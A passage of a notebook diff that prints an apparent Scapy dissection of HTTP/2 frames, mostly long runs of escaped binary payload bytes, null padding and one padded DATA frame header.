\\xccj8>!\\x1d\\xd3\\x9e4\\xaa\\x0b0\\xe5\\xd9\\xbc\\xde\\'\\xd8?\\x99\\x99\\x9d\\xf8\\x15\\x1e\\xe1\\x1aIW\\x1b\\x8ev\\xc7?y\\x9dc\\xf9R\\xda\\x87o\\xe3\\xd5F\\x06>\\xa3\\xb2%n[2\\x08fr\\xcd|1\\x0b\\xf3\\x15\\x8fk\\xb5\\xb89\\xe6\\x81s\\xf5\\xc3\\xef~\\x13>\\xdf\\xb9\\x01\\xc4\\x9c\\x95\\xc7\\xb2\\xb8\\x91\\xc8/\\xe5\\xc8_$9\\xc8D\\x8bgR\"#f$hVq<\\xf1[y\\xe1q)n\\x06\\xba\"\\x06\\xdc\\xee\\x813\\xd8f\\xcev\\x01\\x94+\\xb4\\x89\\x91\\xfb\\x85<\\xbeQ\\xe0\\x8f_\\xd4\\x16\\xe6D/z\\x1bF?\\xb0*\\xe8\\xd5\\x07\\xcbm\\xe2\\x9aT\\x95^\\x81a\\xf5\\xfb\\xeb*a(\\xcb\\x9c\\x06FQ\\xd5\\xac>\\xec*\\xb5\\x9f\\x8c\\xf1\\xc2\\xc0\\xb7\\xf3j\\x8c\\xee\\xf0\\xb2b\\xf2\\xb7\\r\\xc0\\xf62\\x06\\xf7\\x13\\xc4\\xc3L\\xba\\xc3\\x1do\\x02(\\xbd\\xd3 k&\\xfd\\x85`\\x0c\\xbaQ\\xa4\\xac\\x98\\x0bw\\xb8b\\xaf\\xa2&\\x03L\\xee\\x15\\xf3&%\\xb8\\xee\\xea\\xa7k\\xda\\xe8\\'\\xc3 \\x86\\x01\\xef{\\x85h\\xc34\\x8f!\\x05\\xa8g%\\x9d\\tA\\xbd\\xbc) \\xbd]\\x96\\xc3\\xed6\\x8dxR{\\xc6\\x88\\x9f+]\\x90\\xc5\\x90HPj\\xe3ErQ\\x8c\\xf3\\x8c\\xa4k\\xfc\\x93#E\\xe1\\xd6=\\x18\\xa2;\\xad\\x0f\\xb5\\xa8\\xac*\\xf6C\\x0b\\xd9\\xd4\\xf8\\xee0t\\xe3\\xf5\\xa9d\\xc9\\x03`\\r\\xff4\\x8b@}:5\\x8d\\x8e\\\\PP\\x8b3\\xea\\xa0\\x87\\xe1\\xcd\\xad\\xac\\x0c\\\\\\xae7\\xb7yC\\x99\\xb1O\\xc3~\\xd0\\xabx\\xdb\\xcc\\xb7\\xeb\\x1a\\xc8\\xa1Y3L\\xf1\\xca\\xa9q\\x12PV]\\xc7\\x92\\x8c\\xdb\\xf2\\\\\\x14Y\\x87a\\xd0\\xe2\\xed\\xf6\\'W\\x0e\\x06\\xe1x\\x985R\\xf8e#\\xeav\\xd4ZXQ6L\\x03\\xa3\\xe7k\\xb7\\x81j \\xc8k\\x9f\\xcc\\xb4ce3)\\x01|/\\x12\\xaf*4\\x81\\x1c\\x13L\\xcb\\x18ZX\\xf6\\xe2P\\xbdD\\x1d\\xe0i\\xe3\\x02V\\xf7\\x0eh\\x1fr\\n)q\\x8c\\x9b\\xf6)\\xd3\\x05\\xee\\xe4[\\x88\\xef\\x8d\\xe1\\xa2w\\x95B\\x00k\\x15\\xd6\\xc7\\xa1\\xd39\\xfc\\x11\\xc4U\\xa2}K\\xb1:\\xd9\\xcb:\\xb3Z\\x17/\\xac6\\xb1(<V\\xde\\xc3\\xdb\\xc8\\xa7\\xa9\\x9b\\xdew\\x86\\x00t\\xc1\\x9f*\\xaf\\x0bk\\xd3\\xaa\\x0e,\\x9cvU7\\xc7\\x11Z\\xe0{J\\xb3<m\\x88g\\x9bd\\xcf\\x034\\xe4w\\x0f\\xe9\\x8e-\\x82\\xe8\\x9e\\xfa\\xf2\\xa9\\x9eT\\xf4\\x97\\xd9\\x8bi6\\x8f\\x7fJ\\xa0\\x8aL\\x0c\\x9d\\xca\\xb8\\xf8\\xaf\\x8b\\xca\\xae\\x99\\xa1\\xac\\x9e_\\x9f:\\x93\\xa4\\x01^\\xcd\"\\xb3t\\xda\"\\xfe\\xa1\\xe7\\xe7I\\x8dt\\xaa\\x81\\xb5j\\xf3\\xf0\\xa4,d\\xa5\\x18\\x8e\\x97P\\x16\\xc18\\x89\\xb2\\xc3\\x998>\\xc0S\\xe5\\xeal\\xac\\x1e!\\xb8\\xadvF\\xdec\\xb1]\\r\\xe6\\xdb\\x95\\x97\\xb0\\x1a\\xc4T\\xd4\\xe8\\xab\\x84\\x1c\\xabU\\xc1\\x13N\\xb0\\xf0\\t*O\\xda\\xd5Z}\\'\\x9c\\xd5*\\x88+\\xb6\\x1d]P\\xc99\\x9f\\xe2U&!\\x93i\\xfb\\x90\\x99\\'@\\xbb\\x98\\xfd\\xc9\\x08\\xabdb\\xdbv\\x93\\xdbM\\x9b\\xef:I\\xd9\\xe4\\xf1\\xfa\\xea\\xa8\\xddENo4\\x165k\\x99\\x88d\\xe0R\\xdc\\xe79\\x92\\x8e\\x95iQ\\x9d\\xfer\\xebk\\xc3`\\xb3m1w\\xe8\\xc5iNW.K\\xf6\\xcd\\xea\\xfc,\\x88!\\xd6jgn\\xd0\\n\\xb9r\"Yy)\\xc3,+\\x86\\x86\\xad\\xd5R\\xca\\xa4\\x99[\\x9fm\\xf22^,\\x86\\x96\\x859\\x84\\x9cE,K\\xaf\\xca\\r\\x0b\\x0b\\xed\\x7fw;Z\\xe9\\xac\\xb5\\xa3\\xa6h\\xf0\\x94k\\r,\\xacl[\\xc7y\\xc7\\x02\\x1bxrR3\\x84?Z6\\x8eqZ\\xc7\\xbd\\x13\\xbbQ\\x03Ox%\\x0f\\x12\\x13N\\xc1\\x9e\\xd7L\\xae\\xa3>\\xedR\\x94\\xd5_\\x7f\\xbb\\x1a\\xe1\\x8d\\xec\\xec\\xeb\\xd9\\xcd\\xb2\\x9bK\\x1f;\\xf9n\\x06?y\\xcfm\"J\\xb9\\xcb\\xa7\"\\xe2\\xaeK\\t\\xba\\ty\\x196\\xad\\xcf\\x92\\xacO\\x98q\\xdb\\xa8kGP\\xd2\\xd9*w\\'\\x90/\\xae~\\n\\xfdZ\\x0e\\xe5\\xc6P\\xc1|\\xf6\\xb6j\\x07\\xfb\\xb2?\\\\\\xe5\\xf7\\xde\\'\\x95\\xafn\\x91X\\x96\\x86>\\n\\x0b\\x9aZ\\xf5\\xce3\\x9d\\xbc~\\xc09\\xb6\\x9a\\xbc\\x04c\\x00\\x15\\x82\\x14\\xaf<\\xf2\\xe7\\tpuW\\x84\\xaa\\xe2V\\x8ai\\xa2\\xa7ij\\xab\\xbfw\\xbe\\x04\\xce-\\xbb\\x13\\xb4f\\xb2xb+\\x95\\x80\\xbb,\\xee\\x95\\xcf\\xfd`\\xb1U\\x9c\\xaeS\\xd3\\xb4\\xf1ia_I\\xd2AF\\xb7\\x94t\\x1c\\xf6\\x1d=\\xcd\\x17#S\\x06\\x86\\x85\\xcc\\x18\\xcc\\xc7RM(=1\\xc3\\x9f5[<\\x88\\xc7H_\\xb1\\x92\\x8d\\x91p`\\x8e\\'\\xd2JV\\xb5\\xd2t\\xd2\\xbd\\x92\\xc2\\x9f-\\xf1_\\xa0K_C\\xa2\\xfee\\x8b\\xae\\x92o\\x9b\\x19\\xe7\\xd1$y\\xc4\\xd91\\xaeZB\\xae,\\x033\\xdf\\x92\\x8c\\xb6\\x8fa;\\xf3O\\xc0~\\x05$\\xedOb\\x01\\x98\\xdf\\xf4}\\xed\\xdcM^\\xa3}F\\xa7\\xf8$\\x0fi\\xd9\\xb4\\xcf\\x1f\\xd6\\x19\\x85\\xbd\\xd4\\x0e\\xfb\\xaa\\x94\\x07\\xff~\\xbe{\\xe3\\x1eL_V\\x0f\\\\\\xb9\\xb95}\\x98\\xfe\\x11\\x06\\xb5\\xbd0\\x7f\\xf0t\\x14\\x88.\\xa8\\x97L} *\\xe7\\xcd\\xc0\\xcf\\xd2\\xad\\x9f\\xde%\\x83\\rMv\\x8dRG>G\\xc1\\xd3\\xc8v\\x9a\\xeb{x\\xb5\\x9e\\x07\\xf0s\\xaf\\xae0Q=\\x19\\x13q\\x8d\\xecX\\xda\\x15\\xfd>\\xf0\\'\\x03\\xf7\\x0b<\\x00\\xfb\\xf7\\x8d\\xdb|\\xbc\\xd5\\xed\\x9b\\x01\\xb0p\\xa2\\xed\\xb3TJ)\\xfa\\xd9\\xff\\xba\\xa9\\x02\\x90eY\\xa7$$\\x88/w\\x8fO\\xd8\\x8dSQ\\xa2,\\xc9\\x9b\\xa8\\xc1\\xc8\\x02w\\xbd\\xae\\x9dD\\x05\\x06^\\xcb\\xd3!z\\x82W\\xa9\\x063\\x9e\\xac\\xa1\\xed\\xe1{\\x11\\xfb\\x92#F\\xfd\\xa4r\\xdcH\\xb6\\xc6\\xe5\\xa4\\x13\\x8f\\xac\\xec\\xfa\\xb9\\xbc!=\\x9d\\x17N\\xde\\xec\\xc8\\xfd:\\x82\\xbc\\xf0b\\xd6\\xac\\\\\\x8e?\\xc3*\\xc5\\xde\\xfd\\x18t\\xcc\\x03H\\x0c\\x82$2[\\xb8(\\xbb4\\x8b\\x9f\\xee\\xb5\\xcd.\\x8fb\\xd8^u\\xec\\xa8WHK\\xd9\\xb70\\xb96^\\xcb\\xeeZ\\x83\\xe8x\\xc1\\xe0\\xfd \\x0f\\t\\x18\\x02\\xd8gN\\xd1\\xbb\\x19\\xe2\\xa4Y\\xe1\\x8f\\xd2u\\x8d_C\\xa3\\xbf\\x84`\\xee\\xdeDl\\xf0%S6\\xe9\\x87/\\x80\\x17\\x04\\xb12\\xd3\\x10*/\\x979\\x11Q\\xa2d\\xbb\\xabN\\x1d\\xb2\\xa2\\x1e=\\x82\\x15]\\x02x\\xdf\\xea\\x04\\xfc\\xb2\\x0c\\xf8Ly\\xb1\\xea\\xd0D\\x17E\\t?\\xb5m\\xa7_\\xddo\\x0b\\xb42\\x11L\\x91\\xa6\\x05\\xa9\\xa8\\x80\\x1dG\\x0c\\xc7\\x92sy\\x07\\xfb\\x18\\xb8\\x19%7\\x0b\\xfew\\xc0\\x1f&\\xc0\\x8e\\x17A\\xea\\xed\\xf2\\xd2\\xc3\\x17\\x15;r\\xca\\xfd(-\\xe5\\xd6\\xa6\\xb5Te*\\xaaH\\x9e\\xf1\\xf8y\\x9d\\x91\\xb2M\\xce\\xf0\\xea\\xb0\\x80\\x12\\xab\\xdd4 <\\xf8\\xad\\x8cU\\xe7\\xbcv\\xe5\\r\\x0exd]p\\x95@:H6Xg\\xc4\\x8f\\xc0\\x8f\\xf7\\x80\\x13\\xda\\xd9\\xd8\\xb7\\xf5\\x00\\x92\\x9d\\xf1l>\\xa3~\\x7f\\xd915\\xff\\xda\\x99\\xe9\\xd7N,t\\xbe\\x9a&\\xd0hH\\xb2\\x82(\\xf8\\x0f\\xe1\\xd2\\xb4 K7\\xbd\\x02g_ci\\xaf\\xc4\\xfb\\x11\\xc4_\\xb7\\xad\\xcf\\x9b\\xd5r\\x08\\x96>\\xb3\\x8f\\x11\\x1d\\'\\xefr^\\x8d\\xb6\\xe3\\x86@VI{vLq\\xe6\\xc2\\xf1\\xb8\\x1d1\\xe7s%lMf\\x84\\xce\\xbfF\\xc2\\xa7g~B\\xc2\\xa7\\'\\xfe\\xff$\\\\\\xe0\\xfdZ\\twl\\xab\\x8c\\xa5|\\xe4\\x0bE_\\xa1k\\x89\\xde\\x0c&\\xae;\\xe3\\x82\\x93\\x9dF-\\x13<.U\\x99=\\xe4\\xba\\x16\\xafu\\xa4A\\x91\\x06/D3\\xb8?\\xe5?\\x8b\\x1c\\xc3\\xa7\\x01\\xd9\\xc5\\xacp\\xa7\\x93.w\\xdav)\\xe0C?\\xea+9\\x1de=\\xf4EA\\xc6\\xfa\\xf28f\\xf5?;JZ\\xb2$k\\xcc\\xfd\\x8a\\xe4\\xbeFo\\xeeF^\\xbaoc\\xe9L\\xae\\xcb\\xc2d\"W\\xff<\\xe5l\\x9cB\\x15+L:\\xde\\xd6;\\xbe\\xec\\xe7e\\xd1\\x96]\\xf5\\x82]\\xe2\\xe1\\xfez\\xfd\\xfd\\x1dx\\xf9\\xf4n(^\\x1bu\\xf67\\xd7/\\x17Oo>\\xfc\\xf0\\xfb\\xbf~\\x1d\\x84\\xd7\\xde\\xcf\\x0fd\\xfc\\xf3/\\xeb\\xff|\\xfeT\\xbb\\xb9\\xfe\\xfb5\\x8c\\x99\\xfalnj\\xb3\\x89>3\\r\\xcd\\xb0&\\x86\\xad[\\x9a5\\xd3uslic\\xdd\\xb4\\xe7\\xc6\\x04Z\\xcb\\x9c\\xcef\\xd8\\xceu\\xc3\\x84vl\\xccm\\x1b[kl\\xf3\\xfb\\xc9|l`;\\xb7\\xc6\\x087\\x99\\xcc\\xc68ojN\\xa7Sl\\'\\xe0\\xf9\\xb0\\x9d\\xcd\\xa7:\\xb6\\xf3\\xc9\\xa4h\\xc5\\xbd=\\xb7\\xe6\\xa2\\xe5xf\\xe6T7y;\\x9b!\\x9e\\x99\\x058y;3\\xe7\\xbc\\xb5\\'\\xb8>\\xacb\\xcfxkO\\xf8\\xf8T\\xb7Ek[\\x86h\\xf9>g\\xf31\\xc7\\x0f\\xedd\\xca\\xdb\\xd9t\\x8c\\xadm\\xe8\\xfc\\xde\\x1e\\x8f\\xf9z6\\xec\\x98\\xb7\\xf3\\x99\\x18\\x9f\\xdb\\xa2\\xb5\\'\\xd8\\x02\\xf9S\\\\on\\xe8V\\xd9\"\\xfe\\xb9\\xa9s\\xbcs\\xd3\\x98Nxk\\x1a|\\xdc\\x9c\\x1a|\\x1c\\xd8\\xc2\\xc7\\xc7\\xc0Q\\xdeZ\\x9c\\xbfs\\xd87\\xef\\x9f\\xe8\\x13\\x0e?\\x99\\x9a\\xbc\\x9d\\xea\\x86\\xc1[\\xd3\\xd6y;\\x9fr\\xf8\\xd9\\xcc\\xe0\\xf3g6\\x97\\xc7\\x1c\\x11\\x8a\\xd6\\x9a\\x8av\\xcc\\xc7\\xe7S\\x81\\xdf\\xd6u\\xd1\\n:\\xe7\\xb6%\\xf6m[\\xe3\\xe2~,\\xee\\xc7s\\xbe\\x9e=\\xe1|\\x9a\\xdbS[\\x8c\\xcf\\xc6F\\xd1\\xda\\xa2\\x9d >@;\\x9f\\xf2\\xd6\\x9a\\x98\\xbc\\x1d\\xeb\\x86h\\xb9\\xdcm\\xe0\\xd4T\\x9b[\\xe0ml\\xd1\\x9a3\\x8b\\xb7\\x10\\x025\\xa0v:\\x05\\xbd\\x82vf\\xc1\\xba\\xd8\\x8e\\x81O\\xd8\\xce\\'s\\xd1\\xda\\xfc~\\xaeO\\x8av\\xca\\xe1\\xe7\\x13\\xe0\\x07\\xb66\\xf0\\x0bZ\\x1b0\\xf1\\x16\\xf5\\xd5\\xd0MXpn\\xa1\"\\xc3\\x0f\\xd3|\\xaa\\x81i\\x85\\xf8\\x8e\\xf2B\\xd7nr/_<\\xf5l\\xcf6\\xe6\\x81\\xbe2\\xc7O\\x0fKa\\'\\xc3\\x9b\\x1f_9O\\x83\\xec\\xe9\\xf2\\xd0\\xef\\xf5\\x97\\xb2=\\x15\\x00\\xb1\\xe7\\xbc}WB\\xc7\\x91\\xa3\\x97\\xbf\\xd7\\x94]\\xbft\\xaa\\t\\xa4\\xbf\\x0f\\xd2\\xacwK2\\xc5]\\x92\\xf3\\xf3\\xde\\x13\\x82 \\xcf\\x19\\xcb\"\\x17\\xca\\x8e\\xc7\\xc7\\'=\\xd7\\xa9\\xf7\\xf5T\\x1a\\xf9j\\x1f\\x02U\\x9f\\xc0\\x90\\xf0\\x1e\\xbf\\xa6>\\x14\\xa4\\x94\\xed\\xb2Dq\\x1f\\x1f\\xcb}^\\xbf<H+\\xbf:\\xb5\\xb4\\x93\\xec\\xe2\\xf8\\xf3\\xd7\\x8f?\\xb5\\x81jQ|_>w$\\xfe\\x08\\x08\\xfe\\x96~\\xbeP\\x1d\\xa7\\xf0?\\xe0\\xebxA:\\xdcf)\\x83j1\\xae0l\\xe2\\xf6t\\x05\\xb7[A\\xdcI\\x10Ds\\xfb{\\x96=\\xec\\xab\\xd9\\xbd\\xeb,\\x032I_{b\\xc0\\xe0\\x01\\xd6\\xf1\\xc2\\x9e\\xd7\\xdf\\x1f*\\x04,\\xda\\xd0\\xf6\"\\xbd\\x84\\xde)\\xdf\\x13F\\xfbH\\xfd\\x1b\\x80\\xe9\\xf5\\xab)P/\\xd6\\x16\\xd5<\\xcd\\xd7\\xd6\\xfd=q\\x8e\\x00\\x7fe\\xb14\\xb4\\x8c\\x82\\x9e\\xaa>q\\x80\\xed\\xc0n@\\xfd\\x12s\\x80%\\xb2\\x9fV\\x93<-\\xa8~GK\\xfa6x\\xe7\\xb8Kw\\x08\\xe1\\x18\\x89p\\xf0\\x17\\xd4+>\\xffA X3y\\xdb>\\x8d)\\xa3\\n\\xce:,k~\\xfd\\xfc\\xbcv;\\xbc\\xa5qG\\xd70\\xdeu\\xf7\\x02\\xf3`\\x13y\\xe69DR\\xe9\\xe0\\xc28\\xc8\\xfc\\x00r;Y\"(TU\\x89\\xb4\\xfc\\xf1QU\\x97\\xde\\xe3\\xe3\\xc0x\\x02\\xb4\\xe4\\xfc\\x03\\x8d\\x9ezN#G\\xed?>\\xf6\\x00\\x9c\\xff\\xbe\\x90\\x8d\\xa6\\xe7\\xf7\\xb5\\x81\\xe1\\xc8\\xf01\\x9f\\x00Z\\xeb;5%\\x07P\\xec\\xa5\\x17N\\x01s\\x81\\x89;q`Eu\\xa4^\\xf4\\xd6\\xd0\\xaei\\xb22\\xf5\\xb1\\xda\\xbfP\\x9f\\x11\\xf6\\xb0u\\xa2s\\x8f\\x01$\\xb9P\\xcf=`\\xb1z\\xe1^\\xd0\\x8b\\x00\\xee>\\xdc\\x1fw\\xc2\\xb8\\x1a,G\\xff->3\\x89\\x86\\x8c\\xe6\\x0c\\xf8s~.+|\\x0fWoj\\xa0JT\\xae\\x83{`\\xe4\\x82h\\xebx\\x83/@\\xf75\\x02\\xbc\\xe9\\x97\\x96C*\\x8e>8\\xfb\\xea\\xf7}C\\xc1K\\x90\\xb7d\\x18\\xf9\\xef\\x9c\\xb7\\xd0\\xf9\\xae\\xc0\\xf0\\xc48\\xca\\xe4\\xbd\\xec\\x83Pm\\xea\\xe29:\\xab\\xf7\\xc3\\xed.\\x0f{o\\xdf\\x92w8\\xf0N\\xd6s\\xe2?\\x8f\\x9b\\x06\\xd6\\x9c\\x87\\xeb\\xc3\\x9cC\\x7f\\x08Y^\\xdcca\\x94\\xd7\\xbd\\xa2p2o\\xdb~\\xd2\\xab\\x18\\x07\\x19\\xe2\\rx\\x16XO\\xd5T\\xdf\\x8b\\xd5\\xfe\\xa1\\xda<\\xdc:O\\x0c\\xe9\\xce\\xab\\xb9\\xb1c\\xff3\\xd2\\xeb/\\\\\\xb1+\\x02;*\\xa1\\x14\\x0f\\x96\\x04\\x03|r\\x04\\x95\\xa79O\\xf0\\x8c@\\xf8B\\x02z\\x02*\\x16F\\x01\\xeb\\xa1\\x83\\x03\\xa3?\\x14F\\x01\\x85\\xf7\\xf5-\\xb8\\xbaWQ\\xce(\\x98\\xe4\\xb3\\x9e\\x0f\\xd5\\xfc\\x06zZC=\\xf5\\xfb\\xdf~)>\\x10z\\x054Q\\xa0\\xca\\x03\\xe9\\xf7\\xb5\\x13\\xb8J\\xd29P\\x7fQB1F\\xbc\\x90\\x03V\\xa6)\\xf5\\xf5T\\xe1\\x0f`Z\\xbf\\xc1}\\xc8\\xf9D\\xb2W$}\\x8a\\xf8:\\x8a\\x7f\\xd9\\xf4\\x0f\\xb9%\\xa2W\\xbdj\\xc2]5\\xc5F\\x8e\\xac\\x0e\\x8e\\x11\\x03\\xbc_\\xe1\\xf7\\xafc\\x8a\\x1c\\xd0|\\x1eC4\\n\\xa1\\x8e^\\xae\\x87^\\x18\\xc5>\\xc6\\x84|\\x18\\xd3d\\xcd\\xc2%\\xbd\\xb8\\x10\\x18CG\\x1e~K\\xdf-\\x07\\xc6eOU\\xd4\\x8bp\\xe8\\xc5$\\xcf\\x7f%\\x1bz\\x01\\xf7\\xfd!?\\x82\\xf8\\r\\x1c\\xa7\\xd2<\\xe5U\\n\\xbb\\x0f\\xfb\\x07\\x15\\xcb\\x15\\x08%\\xfe\\x90\\xa7\\xb9\\xc3\"\\x8f\\x06\\xe9\\xd4;\\xd0\\x07\\x1d\\xddUO\\r\\xb7d\\x03\\xbav~K\\xd1\\xda\\x83F\\x8c\\xf3\\t#\\x03\\x18\\xc28\\xb7ha\\xe2K\\x1e4\\xd0iU\\xa0\\x04DPUl\\xd4w\\x9a\\xe7\\xa0\\x04\\x96\\xee[\\xfd]\\x04\\x8a\\x07\\x11\\xd4\\x1b\\xd2{\\xea\\xfd\\xc9\\xf9\\xfb\\xf8(\\xdf\\xf5Td\\x08\\xb8\\x1a\\x00\\xeeW*x\\x03\\xdeV0\\rH\\xbc9j#\\xa8c9\\xf0\\xf8x\\x9bB-\\xa8;\\x8eC\\x9eyoo\\xde=\\xf3\\x1cl\\x16\\xa2\\x01\\xdf\\xb1\\xe0-9\\xa9\\x16#\\xf1\\xe1\\x1b>wS8\\xd7\\x1d5\\xcc\\xb3\\xad\\xaa\\xb8k^\\x9a8*\\x1e\\x97\\xc3?U\\x11\\x95\\x86\\xa8D\\x1cU/;x\\xc5\\xc1\\xef\\xa1\\x06\\x11]xwu\\xe9G\\xb7J\\x04.\\xd9%\\xd9\\xd5%~\\xc3\\x00\\xcb\\x14k\\xac]\\xe3\\xaa\\xfa\\xda\\xecr\\xe4^)\\x97\\xe48T|\\xe0&\\x92\\x83\\xd1\\xe8\\xee\\xae\\nDA6\\x12^\\xffY\\x08\\xce(;g\\xee\\xc6\\x89r/<\\xcf\\xd3]\\xe6Q\\']\\x9f3\\xe2B6\\xa1^\\xf1\\xb8\\x9a_\\x8e\\xc8Gqo\\xc86\\x97\\x90\\xe3m\\x89\\x1a\\xf1\\xc4\\xea\\xd5/\\xd0\\xf5),\\xa8\\x0c%\\x16/\\xdd\\x8cd\\x14s\\xf5\\xea5\\x0c\\x7f\\n\\x05\\x12\\x89\\xef\\xad\\xec\\\\\\x81B\\xbc\\xda\\x90?[\\xc7\\xce\\x0f\\x7f\\x08L\\x86z\\xf5\\xeft\\xf7\\x06 >\\x85\\x0c\\xf2\\n\\x99\\xaa\\xe4.\\x0f\\xb7\\xf2\\x9e\\x12\\xf5\\xea\\xb9\\xc7vP\\x87\\xb3\\xff\\xfd\\x0c\\x16E\\xb1L\\x1c\\xde\\x8f\\x9eq<\\x1b\\xf5\\xea\\x05\\xde~\\n\\x85\\x9fA\\xf1[c\\x10\\x9f\\x9e\\xaaW\\xdf\\xe3H{:73\\xe1\\xa6\\x9a\\x8f)\\xd4\\x8fjG\\x94\\xb0x\\x04m\\xba\\xc5\\t\\xf9\\x08\\xd4p\\x07\\xfc\\xdf\\x01\\x95\\xbb+\\xe5<#\\xefw\\xe9\\x12\\xd7\\xbb\\x1c\\t\\x8d\\x1c\\x81\\x96\\x1eU\\x15S~E(4\\x16\\xe9\\xa5\\xda\\xe2cE\\xa1\\xcaI\\xb5\\xc9\\x08}&\\xf4\\xcb\\xa3A5\\x1at\\x8c\\xd2\\xaa\\x8fH4\\xb4H\\x00\\x03ei\\xf6\\x80$\\x80>\\x08\\xb1\\xa9\\x15\\xe2\\xf1\\xd5\\x8f|<z\\xbf\\xa3\\xca\\xbf\\xa8\\xcby\\xf7\\x88\\xdc+?\\x0b\\xddBC\\xc1%{4oO~M2\\xb2\\xf9\\x1f\\x96\\x15\\x96\\xc1\\'2|!\\x9e9+0_\\xb1\\xd1\\xd5Lo0\\x99x^\\xbaKX.\\xcb\\xf0O\\x9a\\xddF\\x1e}\\x95\\x82\\xc1\\x17\\xca\\xb5\\x85e@\\x9e\\x0e\\xcbv\\xf4\\x1c\\x9f\\xf5D\\xc9\\x8e:\\x1f\\xb3\\xe3o\\xac\\x1f\\xde\\x7fc}\\xcf\\xbf@\\x95\\xf7\\t13\\xa1\\xf7 \\xc2nY\\x95\\x80a\\xa1)\\xe2q\\xcd\\xc7 \\x8a\\xe7\\x05%H\\xf1\\xb5\\x12x\\xfcM\\x02\\xbe\\x8e\\x9fwq\\x1f\\xe6\\xd18.\\x8e\\xd6\\xab\\xfb\\xe2MH~_hf\\xebh\\x07?\\xa6\\x85-\\xb2\\xb0P\\x1f\\xd5\\xb0L\\x0c\\xab,\\x94;\\'3\\xab\\xddi\\xce\\xe6\\xc7\\xce\\xe2\\xc7\\x88#\\xc3\\xff~\\xe9\\x96\\xf9S8U\\xb9\\xe5\\xa7g`\\x1b\\xe9\\xf6\\xe8c\\xd5\\xf2\\xe1\\x1a~\\xc9l\\x1c\\x15ltG\\xdd\\xd2\\xf4\\xab\\xbd\\x7f\\xd5\\xf3\\xf1\\xb1\\xf4F\\xb8u<;\\xb6[\\x8f\\xc7\\xd5j?\\x10\\x10\\xf0\\xf3aG}\\x91Bh(\\xbe)V~L7\\xc8,.V\\xdc\\xaa\\x90\\xc7\\x88\\xf9\\x1d\\xb4B\\x04B\\x83\\x01\\x16\\xd5\\xe9\\xae\\xa4\\xd0\\xf88\\x01\\xf0\\xe2\\xdb\\xec\\xe5p\\xd7\\xcb\\xae\\x0b}\\xd9x\\xc2\\x02I\\x05\\xcfk\\x80[B\\'\\x05\\x05,\\xc7\\x90GY\\x98\\xc2\\xcd\\x8b\\xeb7\\xaa\\x82\\xaf\\xb99\\xea:WK\\xf5\\xf9r\\xb5\\x91\\x0f\\xebt\\xf93\\xcb\\xa6\\x1a\\xf9\\xb2\\x16\\xab\\xfc\\xa1`\\xb5\\xec\\'\\xd6j\\xea\\x8dx\\x00\\xa7V*8\\x99\\x1c\\x99)\\x0e\\xc1\\x0b=:\\xa5\\xda\\xc5G\\x9a\\x00\\xc5\\x9f\\xd4Ix9\"\\xb0p\\xb5\\xb0\\xdfB\\xdeUd\\x07\\x9d\\xc33J\\xf0\\x16[\\xacI\\x1d5\\xc5<\\x02\\xb9\\x9b\\xbba\\x8a\\xf37\\xe4^d2 c}</\\x99\\xfc^\\x95\\x12U\\xb5\\xa6$\\xdc2F\\x9c\\x13\\r\\xe5\\xa9\\xb1\\xcc\\xcf\\xd5\\x06\\x0b]\\x17z \\xa9ci\"uV$\\xc8\\x9b\\x16\\x9bpY\\xf2\\xa2\\xdcG\\xbes7\\x11\\xee\\x84\\xbb\\xf3RK]\\xfee\\xfdW\\x9b\\xd5\\xc0\\xc2Gw\\x03\\xa3\\xf6\\xb5\\x85\\xf4f\\x8d\\xd5\\xb2\\xad*\\x82\\x8c\\x04!\\x15\\x07N\\xf1\\x07\\xcd\\xe1\\x84u]\\x9d\\'n\\xbe]\\x1eg\\xfd\\x1f\\x00\\x00\\x00\\xff\\xff'\n",
+        "     padding   = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x15b2\n",
+        "  type      = DataFrm\n",
+        "  flags     = set(['Padded (P)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 5L\n",
+        "###[ HTTP/2 Padded Data Frame ]### \n",
+        "     padlen    = 189\n",
+        "     data      = '\\xdc=\\xdbv\\xea\\xc6\\x92\\xef\\xf3\\x15\\n\\x99\\xec\\x93\\xacc\\xee\\x17\\x03\\xfb\\xe0,\\x19\\x9b\\x8b16\\x18\\xe3[\\x92\\xe5%\\xa4\\x06\\xb5\\x11\\x92\\xac\\x0b\\x18\\x92\\xfcK\\xde\\xe7\\x13\\xe6e^\\xe7/\\xce\\xdb,\\xff\\xc5TuK a\\xecmc\\xd8;{\\xaf\\xec`]Z\\xdd]\\xd5\\xd5U\\xd5U\\xddU@7/\\xb27%D&\\x9f\\xda\\x9e\\x17\\xd8\\x85\\x17y2\\xcb\\x17\\xf3:4H\\x8e\\x1e\\xbe\\xc7]v\\x02nT\\x13p\\xfb\\x97\\x80\\xfb\\xb8\"{\\xe7\\x06J\\xf3%F\\x1f\\xc1\\x02\\x91\\xbd\\xb9\\x12\\xe1}z\\x04\\x1f\\xf8\\xac\\xd0S\\x1c\\xefK\\x8cX?H#\\xf3#%<\\xa0\\x03\\xbb1\\xad\\x91R\\xa2c\\xddfw\\x9eB\\xa9\\xe9#~?\\xd74\\xd9K\\xa9t\\xc5.p\\xcd\\x90\\x90\\xd4n\\xe3p\\x02\\xaay\\xa1w\\x90\\x1a\\xd7\\xda\\xa2zQN\\x9d\\x19\\x8dZ\\xfb\\xa8*\\x8aF\\xfbV\\xec\\xd6\\xf7\\xdbA\\x8d\\xf4\\xcbt\\x7fL\\x95u{\\x0f\\xd4rA\\x95G\\xe3\\x0b\\xf6\\x1e\\x94\\xd8u{?YVw\\xbf\\x0c\\x04\\xb6j\\x98k\\x82P\\x16#{\\x1d\\xf8\\xdc\\x04\\x1e\\xbf&\\x00/\\xadx\\x82@\\xb9\\xa3R\\xf2)tkt\\xb9\\xbdX;}\\x19|\\xf7\\x86\\xebRL\\x19\\xe8\\xfd\\x98\\x8e\\xad\\xd0l]\\xc0\\xf0~\\x0e\\xb8\\x99z8\\xd3fKwf\\xa6\\xb8\\xa3=\\x13\\x06:\\xe2\\xdfQ@\\xac+s\\x81\\xab\\x10{\\x88;\\x8f<\\x15g\\x1e\\xf1\\xe3v\\xdf\\xdd\\xc1\\x1f\\xef8\\x92\\x7f\\xed\\xc7\\xb6\